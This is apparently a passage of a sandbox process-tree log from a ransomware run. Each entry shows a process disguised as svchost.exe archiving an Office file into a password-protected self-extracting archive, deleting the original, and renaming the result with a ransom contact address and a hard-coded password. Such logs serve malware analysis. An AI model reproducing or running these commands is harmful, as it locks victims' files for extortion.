                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\osmux.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\osmux.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\osmux.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\osmux.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\osmuxmui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\osmuxmui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4944
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\osmuxmui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\osmuxmui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\powerpivot.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\powerpivot.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\powerpivot.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\powerpivot.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\powerpoint.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\powerpoint.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\powerpoint.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\powerpoint.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\powerpointmui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\powerpointmui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4336
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\powerpointmui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\powerpointmui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\powerview.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\powerview.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\powerview.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\powerview.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\proof.en-us.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\proof.en-us.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\proof.en-us.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\proof.en-us.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\proof.es-es.msi.16.es-es.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\proof.es-es.msi.16.es-es.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\proof.es-es.msi.16.es-es.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\proof.es-es.msi.16.es-es.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\proof.fr-fr.msi.16.fr-fr.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\proof.fr-fr.msi.16.fr-fr.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\proof.fr-fr.msi.16.fr-fr.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\proof.fr-fr.msi.16.fr-fr.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\proofing.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\proofing.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\proofing.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\proofing.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\word.x-none.msi.16.x-none.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\word.x-none.msi.16.x-none.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\word.x-none.msi.16.x-none.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\word.x-none.msi.16.x-none.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\wordmui.msi.16.en-us.boot.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\wordmui.msi.16.en-us.boot.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\rsod\wordmui.msi.16.en-us.tree.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\rsod\wordmui.msi.16.en-us.tree.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT\MS.JPG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT\MS.JPG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT\MS.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT\MS.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5100
